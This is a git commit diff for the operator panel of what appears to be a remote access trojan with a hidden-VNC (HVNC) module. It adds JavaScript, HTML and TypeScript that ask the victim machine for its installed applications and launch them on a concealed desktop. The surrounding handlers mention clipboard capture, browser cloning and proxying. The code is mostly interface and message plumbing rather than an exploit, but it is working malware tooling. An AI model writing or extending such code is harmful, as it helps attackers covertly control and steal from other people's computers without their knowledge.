allow all apps to be opened in HVNC and show their icons as well. (exe only for best support)

This commit is contained in:
KingKDot
2026-05-10 00:03:49 -05:00
parent 3a9cad6f8c
commit 9b2f10ee34
10 changed files with 700 additions and 0 deletions
+99
View File
@@ -397,6 +397,94 @@ import { checkFeatureAccess } from "./feature-gate.js";
sendCmd("hvnc_browser_check", {});
}
const installedAppsLoading = document.getElementById("installedAppsLoading");
const installedAppsList = document.getElementById("installedAppsList");
const installedAppsGrid = document.getElementById("installedAppsGrid");
const installedAppsCount = document.getElementById("installedAppsCount");
const refreshInstalledApps = document.getElementById("refreshInstalledApps");
let installedAppsData = [];
let installedAppsLoading_pending = false;
function requestInstalledApps() {
installedAppsData = [];
installedAppsLoading_pending = true;
if (installedAppsLoading) installedAppsLoading.classList.remove("hidden");
if (installedAppsList) installedAppsList.classList.add("hidden");
if (installedAppsGrid) installedAppsGrid.innerHTML = "";
if (installedAppsCount) installedAppsCount.textContent = "";
sendCmd("hvnc_installed_apps", {});
}
if (refreshInstalledApps) {
refreshInstalledApps.addEventListener("click", (e) => {
e.stopPropagation();
requestInstalledApps();
});
}
function handleInstalledAppsResult(msg) {
if (!installedAppsGrid) return;
const apps = msg.apps || [];
const done = !!msg.done;
if (apps.length > 0) {
installedAppsData.push(...apps);
if (installedAppsLoading) installedAppsLoading.classList.add("hidden");
if (installedAppsList) installedAppsList.classList.remove("hidden");
if (installedAppsCount) installedAppsCount.textContent = `(${installedAppsData.length}${done ? "" : "…"})`;
for (const app of apps) {
appendAppButton(app);
}
}
if (done) {
installedAppsLoading_pending = false;
if (installedAppsLoading) installedAppsLoading.classList.add("hidden");
if (installedAppsList) installedAppsList.classList.remove("hidden");
if (installedAppsCount) installedAppsCount.textContent = `(${installedAppsData.length})`;
if (installedAppsData.length === 0) {
installedAppsGrid.innerHTML = '<div class="text-xs text-slate-600 text-center py-3">No apps found</div>';
}
}
}
function appendAppButton(app) {
const btn = document.createElement("button");
btn.type = "button";
btn.className = "installed-app-btn";
btn.title = app.exePath || app.name;
if (app.icon && /^[A-Za-z0-9+/=]+$/.test(app.icon)) {
const img = document.createElement("img");
img.src = "data:image/png;base64," + app.icon;
img.alt = "";
btn.appendChild(img);
} else {
const placeholder = document.createElement("span");
placeholder.className = "app-icon-placeholder";
placeholder.innerHTML = '<i class="fa-solid fa-cube"></i>';
btn.appendChild(placeholder);
}
const nameSpan = document.createElement("span");
nameSpan.className = "app-name";
nameSpan.textContent = app.name;
btn.appendChild(nameSpan);
btn.addEventListener("click", () => {
sendCmd("hvnc_start_process", { path: '"' + app.exePath + '"' });
hideContextMenu();
});
installedAppsGrid.appendChild(btn);
}
function escapeHtml(str) {
const div = document.createElement("div");
div.textContent = str;
return div.innerHTML;
}
function sendCmd(type, payload) {
if (!activeClientId) {
console.warn("No active client selected");
@@ -786,6 +874,10 @@ import { checkFeatureAccess } from "./feature-gate.js";
handleBrowserCheckResult(msg);
return;
}
if (msg && msg.type === "hvnc_installed_apps_result") {
handleInstalledAppsResult(msg);
return;
}
if (msg && msg.type === "hvnc_dxgi_status") {
handleDXGIStatus(msg);
return;
@@ -821,6 +913,10 @@ import { checkFeatureAccess } from "./feature-gate.js";
handleBrowserCheckResult(msg);
return;
}
if (msg && msg.type === "hvnc_installed_apps_result") {
handleInstalledAppsResult(msg);
return;
}
if (msg && msg.type === "hvnc_dxgi_status") {
handleDXGIStatus(msg);
return;
@@ -860,6 +956,9 @@ import { checkFeatureAccess } from "./feature-gate.js";
}
});
requestBrowserCheck();
if (!installedAppsLoading_pending && installedAppsData.length === 0) {
requestInstalledApps();
}
}
function onWsClose() {
+68
View File
@@ -256,6 +256,21 @@
<button type="button" class="w-full text-left px-3 py-1.5 hover:bg-slate-800/70" data-action="lookup-exe">
<i class="fa-solid fa-magnifying-glass mr-2 text-amber-300"></i>Lookup exe…
</button>
<div class="my-1 border-t border-slate-700/60"></div>
<!-- Installed Apps -->
<div class="px-3 pt-2 pb-1 text-xs uppercase tracking-wide text-slate-500 flex items-center gap-2">
<span>Installed Apps</span>
<span id="installedAppsCount" class="text-slate-600"></span>
<button type="button" id="refreshInstalledApps" class="ml-auto text-slate-500 hover:text-slate-300" title="Refresh installed apps">
<i class="fa-solid fa-rotate text-[10px]"></i>
</button>
</div>
<div id="installedAppsLoading" class="px-3 py-3 text-xs text-slate-500 text-center">
<i class="fa-solid fa-spinner fa-spin mr-1"></i>Loading apps…
</div>
<div id="installedAppsList" class="hidden max-h-[280px] overflow-y-auto px-1.5 pb-1.5">
<div class="grid grid-cols-1 gap-0.5" id="installedAppsGrid"></div>
</div>
</div>
<style>
body {
@@ -295,6 +310,59 @@
font-size: 0.65rem;
color: #94a3b8;
}
#installedAppsList::-webkit-scrollbar {
width: 6px;
}
#installedAppsList::-webkit-scrollbar-track {
background: transparent;
}
#installedAppsList::-webkit-scrollbar-thumb {
background: #334155;
border-radius: 3px;
}
#installedAppsList::-webkit-scrollbar-thumb:hover {
background: #475569;
}
.installed-app-btn {
display: flex;
align-items: center;
gap: 8px;
width: 100%;
text-align: left;
padding: 5px 8px;
border-radius: 6px;
font-size: 0.75rem;
color: #e2e8f0;
transition: background 0.15s;
}
.installed-app-btn:hover {
background: rgba(139, 92, 246, 0.18);
color: #c4b5fd;
}
.installed-app-btn img {
width: 20px;
height: 20px;
flex-shrink: 0;
image-rendering: auto;
}
.installed-app-btn .app-icon-placeholder {
width: 20px;
height: 20px;
flex-shrink: 0;
display: flex;
align-items: center;
justify-content: center;
background: #1e293b;
border-radius: 4px;
font-size: 10px;
color: #64748b;
}
.installed-app-btn .app-name {
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
min-width: 0;
}
</style>
</div>
</main>
+2
View File
@@ -92,6 +92,7 @@ import {
handleHVNCCloneProgress,
handleHVNCLookupResult,
handleHVNCBrowserCheckResult,
handleHVNCInstalledAppsResult,
handleHVNCDXGIStatus,
handleClipboardContent,
handleRemoteDesktopViewerMessage,
@@ -670,6 +671,7 @@ async function startServer() {
handleHVNCCloneProgress,
handleHVNCLookupResult,
handleHVNCBrowserCheckResult,
handleHVNCInstalledAppsResult,
handleHVNCDXGIStatus,
handleClipboardContent,
cleanupVoiceViewer,
@@ -154,6 +154,7 @@ type WsLifecycleDeps = {
handleHVNCCloneProgress: (clientId: string, payload: any) => void;
handleHVNCLookupResult: (clientId: string, payload: any) => void;
handleHVNCBrowserCheckResult: (clientId: string, payload: any) => void;
handleHVNCInstalledAppsResult: (clientId: string, payload: any) => void;
handleHVNCDXGIStatus: (clientId: string, payload: any) => void;
handleClipboardContent: (clientId: string, payload: any) => void;
cleanupVoiceViewer: (ws: ServerWebSocket<SocketData>) => void;
@@ -713,6 +714,9 @@ export async function handleWebSocketMessage(
case "hvnc_browser_check_result":
deps.handleHVNCBrowserCheckResult(client.id, payload);
break;
case "hvnc_installed_apps_result":
deps.handleHVNCInstalledAppsResult(client.id, payload);
break;
case "hvnc_dxgi_status":
deps.handleHVNCDXGIStatus(client.id, payload);
break;
@@ -632,6 +632,26 @@ export function handleHVNCBrowserCheckResult(clientId: string, payload: any) {
}
}
export function handleHVNCInstalledAppsResult(clientId: string, payload: any) {
const apps: Array<{ name: string; exePath: string; icon: string }> = [];
if (Array.isArray(payload.apps)) {
for (const app of payload.apps) {
apps.push({
name: String(app.name || ""),
exePath: String(app.exePath || ""),
icon: String(app.icon || ""),
});
}
}
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
safeSendViewer(session.viewer, {
type: "hvnc_installed_apps_result",
apps,
done: !!payload.done,
});
}
}
export function handleHVNCDXGIStatus(clientId: string, payload: any) {
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
safeSendViewer(session.viewer, {
@@ -880,6 +900,9 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
case "hvnc_browser_check":
sendHVNCCommand(target, "hvnc_browser_check", {});
break;
case "hvnc_installed_apps":
sendHVNCCommand(target, "hvnc_installed_apps", {});
break;
case "hvnc_start_process":
sendHVNCCommand(target, "hvnc_start_process", {
path: String(payload.path || ""),
+1
View File
@@ -31,6 +31,7 @@ export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([
"hvnc_clone_progress",
"hvnc_lookup_result",
"hvnc_browser_check_result",
"hvnc_installed_apps_result",
"hvnc_dxgi_status",
"clipboard_content",
"proxy_data",